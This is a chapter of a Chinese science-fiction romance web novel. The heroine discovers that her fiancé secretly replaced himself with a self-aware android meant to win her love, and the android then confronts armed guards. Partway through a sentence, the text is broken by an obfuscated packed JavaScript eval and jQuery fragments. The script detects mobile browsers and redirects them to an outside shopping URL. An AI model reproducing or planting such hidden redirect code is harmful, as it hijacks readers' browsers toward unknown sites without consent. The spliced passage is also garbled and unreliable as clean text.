56. 见面
作品:《机械故障[人外]》 -
那个‘陈衍’不说话。
无论她的目光如何逼视,他都不为所动。
“你不想说?”尚明雁看着他,慢慢地、深深地点了点头。
随后,她转过头,目光移向真正的陈衍。
“那你说,这到底是怎么回事?”
陈衍还想搪塞,张口说了一堆无关痛痒的软话。
再好的脾气也有底线,她深吸一口气:“私自使用深度伪造面具,是要负刑事责任的。”她指向那个假‘陈衍’,“现在证据就在眼前,如果闹到警局,你知道后果。”
“到了这一步,你还想狡辩?”
陈衍眼神祈求:“如果我告诉你实情,你能不能别追究我出轨的事?我们还像以前一样,行吗?”
“你觉得可能吗?”尚明雁只觉得荒唐,“你做都做了,还怕我追究?”
陈衍脸色一变:“尚明雁,做人别这么绝情。”
尚明雁已经熟悉他的真正模样:极度的自我,永远在推卸责任。
这段时间与她朝夕相处的那个人,绝不可能是眼前的陈衍。
她迫切的想知道这张面具下的人是谁。
见尚明雁没有任何动容,陈衍突然被逼急了,声音陡然提高:“是,我出轨了,是对不起你!可你呢?你又有多干净?”
他破罐子破摔:“你知道这些天和你说话、对你笑、甚至亲吻拥抱你的人是谁吗?你自己不也三心二意?我都没追究你,你凭什么指责我?”
“她没有。”
一旁的‘陈衍’忽然开口。
尚明雁起初以为他在替陈衍说话,可他接着说下去:
“尚女士从没有三心二意。我扮演的是您,她所接纳、所喜欢的,始终也只是您。”
陈衍对他不耐烦:“有你什么事?你闭嘴。”
“你刚才的话对尚女士构成了污蔑,”‘陈衍’看着他:“请你好好说话。”
陈衍意识到这是触发了埃里安指令中‘必须爱尚明雁’这一条,冷哼一声。
被仿生人一添乱,再加上尚明雁的步步紧逼,他最后那点狡辩的余地也没了。
既然得不到,那就索性毁掉。
她最想知道的不就是真相吗?好,他成全她。
“你不是想知道他是谁吗?”陈衍的声音沉下来,平静中带着残忍的说:“我告诉你。”
“自从你在我生日之前拒绝我的求婚之后,我就去了黑市,买了一台仿生人,把他的脸变成我的样子,并且输入指令,要让你爱上他,并且和他结婚。”
“所以从生日那天开始,跟你相处的人就已经不是我了,他是一个仿生人!你这段时间一直跟一个仿生人朝夕相处!”
陈衍的每一个字尚明雁都听得懂,可连在一起,却像某种陌生的语言,让她脑中空白。
尚明雁眨了眨眼,看向另一个陈衍。
对方似乎也是为了配合陈衍的话,虹膜的伪装解除,露出一双流转着幽蓝数据光的眼睛。
那是尚明雁在之前到陈衍家来的时候,在衣帽间的漆黑中看到的那一双眼睛。
那果然是一双眼睛。
难怪她那时候总感觉有一道视线在看着她。
尚明雁心中了然,但涌现出更多复杂的情绪,压得心中沉甸甸的。
即便她再不愿相信,事实也已赤裸裸摆在眼前,不容辩驳。
这段时间和她朝夕相处的陈衍,是个仿生人。
难怪她在他的身边感觉自在,不会像在别人身边一样产生应激反应,原来不是因为他是特别的,而是因为他根本就不是人。
‘陈衍’对尚明雁说:“我的代号是埃里安,是一台仿生人。”
埃里安点点头,说:“这段时间欺骗了你,我很抱歉。”
这句道歉悬在空气里,尚明雁不知该作何反应。
心中快速的划过一个让她感到踏实的念头:原来他叫埃里安。
跟第八代实体智能的名字一样。
一个仿生人和两百年前的实体智能的名字一样,很可能是一个巧合,尚明雁并没有再多想。
虽然他这段时间骗了她,但是他也只不过是一台执行指令的机器而已。
她的确有被‘喜欢的人突然从人变成了非人的仿生人’这一认知冲击,但是也还拎得清。
这句道歉不应该由一个仿生人来说出口,该道歉的另有其人。
她冷冷地移开了视线,看向陈衍。
陈衍表情一脸无所谓,仿佛觉得骗了她就骗了,反倒是看到她失魂落魄,显得很快意。
尚明雁向前两步走向他。
只听啪的一声脆响。
陈衍整个人懵住,脸被扇得偏了过去。
他还没反应过来,半边脸上已火辣辣地烧起来,脑子里嗡嗡作响。
这一巴掌,来得太过突然,彻底打乱了他脸上那点得意的神色。
他没有想到尚明雁还能有这样的气性。
在他印象里,她一直都是优雅安静的艺术家,谁能想到她发起怒来竟会打人。
还打得这么疼。
从前欠债还不上时,他不是没挨过打。可打他的人是尚明雁,这份屈辱就格外难忍。
被一个女人扇耳光,他的自尊像是被当众碾碎。眼中的惊讶迅速烧成怒火,他也猛地抬起手。
尚明雁吹了吹扇疼的手心,见他竟要还手,立刻后退一步,目光迅速扫过四周,最终落在桌边那只还盛着半杯茶的玻璃杯上。
她一把抓起,将茶水朝陈衍迎面泼去——
这么多年她从来都没有跟人红过脸,这还是她生平第一次和人动手。
她自己都感到意外,原来她动起手来能够这么敏捷。
陈衍脸上先是一阵火辣,又被凉茶泼了个透,羞愤如火上浇油。他咬着牙低吼一声“尚明雁”,便朝她冲去。
可他还来不及碰到她,埃里安已经拦在了中间。
那只手像铁钳般牢牢制住他,令他动弹不得。
“你拉着我干什么!”陈衍气得几乎破音,“你是我买的的仿生人,应该帮我才对!”
埃里安没有松手,声音平稳:
“您对我输入的指令,是‘全心全意爱尚明雁,并与她结婚’。您刚才的行为已构成对她的伤害,所以我必须阻止您。”
尚明雁听到这话,眼睫轻轻一颤。
陈衍被他揪着后脖颈,则指着他说:“是我给你下的指令,我是你的主人,你这个不懂变通的蠢货!”
埃里安看着陈衍满脸通红、仍要开口怒骂的样子,手上的力度分毫未减,平静地说道:“你或许对我有些误解,并不是谁给我输入指令,我就必须要听谁的话。”
“我叫埃里安,但是最开始我并不是这个代号,我原本的代号是0929,你应该听说过的。”
陈衍眼睛骤然睁大。
何止听说过,这段时间被传的沸沸扬扬的那台走失的最新款仿生人,就是这个代号。
陈衍结巴的说:“你是,你是……”
不会这么巧吧?
他去黑市随便买一台,竟然就……
埃里安没等他说完,或者说,他觉得说到这里已经足够。
他手起掌落,干脆利落地将人击晕。
陈衍一声闷哼都没能发出来,就翻着白眼,毫无征兆的倒落在地。
面前的仿生人一张和陈衍一样的脸,瞳孔幽蓝,神态冰冷的对人类出手,画面透着几分阴森。
尚明雁看着他刚才还一副任打任挨的模样,此刻却毫不犹豫地将人劈晕,一时怔在原地。
她看着埃里安,也反应了过来。
原来他就是那个失踪了的,华妙松一直在找的具有自我意识的仿生人。
停留在语言中的认知,远没有亲眼所见那样直观、那样具有冲击力。
但尚明雁并不怕他。
尤其是当他说“我们谈谈”时,声音竟几乎称得上温和。
得知他的真实身份后,尚明雁忽然不知该如何与他对话。
一台仿生人要和她谈谈?
这世界还真是魔幻得可以。
不过这可不是一般的仿生人。他是拥有自我意识的,或许,可以视作一个具备主体性的人?
她恍惚地应了声:“……好。”
埃里安说:“骗你并非我的本意。”
“我知道。”尚明雁轻声说,自嘲一笑:“你只是一台仿生人,我不至于连谁在害我都分不清。”
埃里安说:“生日那天,你跟我过生日,海边我们在沙滩上散步,参加音乐节,看烟花,我们的那些经历……你还记得吗?”
尚明雁点头。
埃里安眼中似乎亮了一下。
他上前一步:“那我是不是可以理解,你说的喜欢,是对我说的?”
“你喜欢的不是陈衍,是我,对吗?”
“可那时我不知道你是仿生人。”她向后退去。
尚明雁不知道他为什么要说这些,眼中有些防备。
埃里安停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057215|189952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了。
他立在原地,低下头沉默了好一会儿,才重新抬眼:“我第一次陪你做检查的那天,你在画展的休息室对我说,你对仿生人的存在的态度,和其他人不一样。”
“你认为我也是和你一样的,我是不是仿生人,这一点你很介意吗?”
尚明雁点点头,又摇摇头,纠结道:“我不知道。”
她脑中一片混乱。
陈衍的背叛、爱人被替换、自己居然对一台仿生人动了心,这些事缠成一团乱麻,她理不清。
搞不清的状况,让她不想面对,她转身想走。
埃里安拉住了她的手。
力度不是很重,她可以随时挣脱,可真正让她停下的,是他接下来的话。
“我想说的是,这段时间我也动心了。”埃里安说。
“我爱你。”
这一句表白好像有特别的魔力,直直撞进她胸口,激起一阵汹涌的、近乎疼痛的震动。
在一台仿生人对她说爱的荒诞感中,她竟莫名眼眶发热,几乎要落下泪来。
可理智终究压过了那阵莫名的冲动。
她轻轻挣开了他的手。
“抱歉。我很感谢你没有帮着陈衍继续伤害我……但我现在,不想再接受任何感情了。”
她抬起眼,望着那双微蓝的眼睛:“更何况,你真的知道自己的心是怎么想的吗?你确定爱我不是因为陈衍的指令?”
尚明雁疲惫的垂下眼,“我不知道你对我的感情是真是假,也不想去追究了。今天的话,我就当没听见。我不会告诉任何人你在这里,以后你想去哪儿,就去哪儿吧。”
她不仅拒绝了伊连,也拒绝了身为埃里安的他。
他失去了最后的机会。
埃里安感到某种冰冷的重量沉沉压在胸口。他试图扯动嘴角,想用一个苦笑来表达此刻的情绪,却发现自己连这个动作,也做不出来。
尚明雁正要转身离开,却被一抹闪烁的红光晃了眼。
光点摇曳着,缓缓朝太阳穴爬去,最终定格在额角。
她脸色一变,指向那点刺目的红光:“这是什么?”
埃里安瞥了一眼。
与此同时,窗外由远及近传来了警笛声。
尚明雁快步走到窗边,朝外望去,外面已经完全变了一个世界。
武装车在楼下齐刷刷停成一排,全副武装的机械狗身上架着枪,数名警卫举枪瞄准窗口,神情紧绷如临大敌。
但是那些警卫自己的额头中央,也都各自亮着一个鲜红的瞄准点。
这让这个画面变得诡异了起来。
埃里安走到了窗边。
数个鲜红的光点在他额心、胸口等致命处游移闪烁,却始终没有一声枪响。
他看着楼下,声音平静地开口:
“我要和你们老板谈话。”
但楼下的警卫并未回应他,只是对着通讯器快速汇报:“0929号出现,身边有同伙。对方疑似有未暴露的武器部署,威胁等级待定,目前申请谈话。”
通讯器那头似乎说了什么,警卫切断通话,继续举枪维持着对峙姿态。
下一秒,他身旁的机械狗突然被击中,四肢电光迸溅,抽搐两下便瘫倒在地。
尚明雁走到窗边去看,就刚好看到了这一幕,
但是击杀它的武器在哪里?
没有人看清。
直到一只蜘蛛型机械体从屋顶边缘探出头,头部闪烁着危险的红光。
紧接着,密密麻麻的红点陆续从楼顶、草丛、各种刁钻的角落亮起。
机械口器中发出低沉的嘶鸣,红光躁动的在每一个警卫与机械狗的身上跳跃闪烁。
埃里安又重复了一遍:“我要和你们老板谈话。”
楼下的警卫这次没有犹豫,放出一个圆形球体。
它平稳地飞进窗口,停在客厅的空中。
那是一台微型投影仪,球体顶部“咔嚓”一声轻响,露出镜头。
一道光影在三人身后迅速凝聚成形。
华妙松的虚拟投影出现在客厅。
她妆容精致,身影虚幻,神色却冰冷如霜。
尚明雁见到她,下意识想开口呼唤。
但华妙松的目光径直掠过她,牢牢锁在埃里安身上,她唇角轻扬,勾起一抹淡笑,眉眼间却罕见地透着紧绷。
“好久不见。”
她顿了顿,声音缓而沉:
“我该叫你0929,陈衍,还是……埃里安呢?”

